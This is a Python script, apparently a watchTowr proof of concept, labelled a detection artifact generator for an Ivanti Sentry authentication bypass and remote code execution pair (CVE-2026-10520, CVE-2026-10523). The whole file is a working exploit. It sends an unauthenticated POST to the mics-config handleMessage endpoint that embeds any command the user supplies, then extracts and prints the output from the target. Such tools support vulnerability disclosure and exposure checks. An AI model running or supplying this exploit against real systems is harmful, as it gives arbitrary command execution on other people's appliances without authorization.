#!/usr/bin/env python3 import sys import requests import re import argparse import urllib3 from urllib.parse import urljoin banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py (*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool - Sonny , watchTowr (sonny@watchTowr.com) CVEs: [CVE-2026-10520, CVE-2026-10523] """ def make_command_request(base_url, command, proxies=None): """Send the command execution detection request and return the HTTP response.""" url = urljoin(base_url.rstrip("/") + "/", "mics/api/v2/sentry/mics-config/handleMessage") headers = { "Content-Type": "application/x-www-form-urlencoded", } data = { "message": ( "execute system /configuration/system/commandexec " f"1{command}" ) } print(f"[+] Sending command execution check to: {url}") return requests.post( url, headers=headers, data=data, timeout=10, proxies=proxies, verify=False, allow_redirects=False, ) def extract_command_output(response): """Extract command output from the successful JSON/XML response body.""" body = response.text data = body try: parsed = response.json() data = parsed.get("data", "") except ValueError: pass if "Message handled successfully" not in body or "" not in data: return None match = re.search(r"(.*?)", data, re.DOTALL) if not match: return None return match.group(1) def main(): # Print the banner first print(banner) parser = argparse.ArgumentParser(description='watchTowr Ivanti Sentry Detection Artifact Generator Tool [CVE-2026-10520, CVE-2026-10523]') parser.add_argument('--url', required=True, help='Target base URL (e.g., https://127.0.0.1:8443)') parser.add_argument('--cmd', required=True, help='Command to run for detection (e.g., "uname -a")') parser.add_argument('-p', '--proxy', help='Proxy address:port (e.g., 127.0.0.1:8080)') args = parser.parse_args() base_url = args.url.rstrip('/') # Remove trailing slash if present proxies = None if args.proxy: proxies = { 'http': f'http://{args.proxy}', 'https': f'http://{args.proxy}' } urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) print("="*60) print(f"Target: {base_url}") print(f"Command: {args.cmd}") if proxies: print(f"Proxy: {args.proxy}") print() try: response = make_command_request(base_url, args.cmd, proxies) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1) command_output = extract_command_output(response) if command_output is None: print("[-] Target does not appear to be vulnerable.") sys.exit(1) print("[+] Target appears to be vulnerable.") print("\nCommand output:") print(command_output.rstrip()) if __name__ == "__main__": main()